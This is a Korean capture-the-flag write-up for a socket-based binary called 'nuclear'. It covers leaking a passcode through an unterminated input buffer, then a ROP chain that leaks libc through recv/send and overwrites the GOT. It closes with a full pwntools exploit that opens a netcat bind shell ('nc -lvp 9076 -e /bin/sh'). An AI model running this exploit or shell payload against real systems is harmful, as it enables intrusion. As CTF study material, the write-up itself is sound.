바이너리는 NX와 ASLR이 설정되어 있다.
바이너리를 열어서 main을 보면 소켓통신을 하는것을 알 수 있다.
실행을 시키면 1129번 포트로 소켓을 연다.
그리고 소켓으로 통신을 하려고 하면 에러가 뜬다.
그래서 다른 함수들을 살펴봤다.
sub_8048C65에서 내가 뜨는 에러와 동일한 string을 찾았다.
THIS_IS_NOT_KEY_JUST_PASSCODE 이라는 파일을 open()하지 못해서 뜨는 에러였다.
이게 실제 문제서버에선 읽을 권한이 없어서 메모리릭을 통해서 값을 읽어야 하는 부분이였다. (사실 첨에 풀때는 내가 임의로 만들어 줘야 되는건줄 앎..)
이제 해당 파일을 만들었으므로 nuclear 바이너리를 실행할 수 있다.
이렇게 뜬다.
뭔가를 입력해야하는것같은데 아무거나 입력하면..
이렇게 커맨드를 알 수 없다고 나온다.
ida로 명령어를 찾아야 겠다.
sub_8048C65를 자세히 보면 명령어를 알 수 있다.
quit, target, launch 이렇게 세 명령어가 있다.
각 명령어에서 뭔가 취약점이 터질거같으니 각각 살펴봤다.
launch를 실행하면 passcode를 입력하라고 한다.
THIS_IS_NOT_KEY_JUST_PASSCODE에 passcode가 적혀있는데 실제 문제에선 권한이 없어서 사용자가 정상적인 방법으로는 읽을 수 가 없다.
그래서 이 부분을 메모리 릭을 통해서 알아내야하는 것 같다.
launch 는 버퍼보다 작은 사이즈를 읽기 때문에 오버플로우가 터지진 않는다.
다음은 target이다.
타겟을 보면 sscanf()로 위도와 경도를 입력받는다.
여기까지 딱히 취약점이 보이지 않는다.
그래서 찾은 부분은 명령어로 지정된 문자열 외의 문자열을 입력했을 때 어떻게 처리하는지 확인해봤다.
보면 ebp-568에 들어간 값을 출력함수로 출력해준다.
그리고 launch의 passcode를 비교하는 부분을 다시 보면 패스코드를 읽어오는 변수의 위치를 알 수가 있다.
ebp-48에 passcode가 들어가는 것을 알 수 있다.
즉 ebp-568엔 내가 입력한 명령어 혹은 내가 입력한 passcode가 들어갈 것이고 ebp-0x48에는 문제의 passcode가 있을 것이다.
즉 ebp-568부터 ebp-48까지 null이 없이 쭉 이어진다면 passcode를 릭 할 수 있다.
근데 내가 입력할 수 있는 바이트는 512바이트가 전부다. ($ebp-48) - ($ebp-568) 의 거리는 520바이트인데.. 난 512바이트까지 입력할 수 있다. 릭이 불가능할 줄 알았는데 gdb로 직접 값을 넣어서 테스트 했다.
일단 테스트겸 A 500바이트를 넣은 것이다.
보면 0xbffff410에는 어떠한 값 8바이트 들어가 있고, 그 다음에 passcode로 보이는 문자열이 있다.
즉 512바이트까지 채워서 넣으면 passcode까지 릭이 가능하단 의미이다.
그 다음으론 passcode를 찾았으니 passcode를 입력하면 nuclear가 발사된다.
passcode가 맞다고 하는 부분이다. 여기를 잘 보면 pthread_create()함수가 실행되는데 그 함수의 인자로 들어가는 부분에서 esp+0x8에 들어가는 값을 보면 0x08048b9c를 실행하는 thread 함수이다. 0x08048b9c를 봐야겠다.
0x08048b9c 함수다.
이 함수 내부에서도 pthread_create를 call한다.
이번에도 esp+0x8에 들어가는 함수를 따라 가본다.
찾았다...
ebp-524 부터 1298바이트를 입력받는 부분을 찾았다.
핵이 발사되고 나서 그 때 값을 보내주면 이 부분을 공략할 수 있다.
먼저 가젯을 구한 후 rop로 문제를 풀었다.
이 문제에선 recv, send 함수가 사용 중이여서 이 함수들로 got leak과 system함수 찾기, got overwrite를 할 수 있었다.
익스 코드를 작성하고 익스플로잇을 했다.
exploit code
from pwn import *
r = remote("localhost", 1129)
elf = ELF("./nuclear")
print r.recvuntil(">")
r.sendline("target")
print r.recvuntil("--->")
r.sendline("123.123/123.123")
print r.recvuntil(">")
r.sendline("A"*512)
print r.recvuntil("[!] Unknown command : ")
r.recv(512)
passcode = r.recv()[8:22]
log.info("passcode = {}".format(passcode))
r.close()
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
send_got = elf.got['send']
bss = elf.bss()
ppppr = 0x804917c
system_offset = 0x18a5a0 # recv - system
log.info("recv@plt = {0}\nsend@plt = {1}\nsend@got = {2}".format(hex(recv_plt), hex(send_plt), hex(send_got)))
r = remote("localhost", 1129)
cmd = "nc -lvp 9076 -e /bin/sh\x00"
payload = "A"*528
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
payload += p32(0)
payload += p32(send_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)
payload += p32(recv_plt)
payload += "AAAA"
payload += p32(bss)
print r.recvuntil(">")
r.sendline("launch")
print r.recvuntil("nuclear :")
r.sendline(passcode)
print r.recvuntil("COUNT DOWN : 100")
r.sendline(payload)
r.sendline(cmd)
libc_recv = u32(r.recv())
log.info("libc_recv = {}".format(hex(libc_recv)))
system_addr = libc_recv - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
r.sendline(p32(system_addr))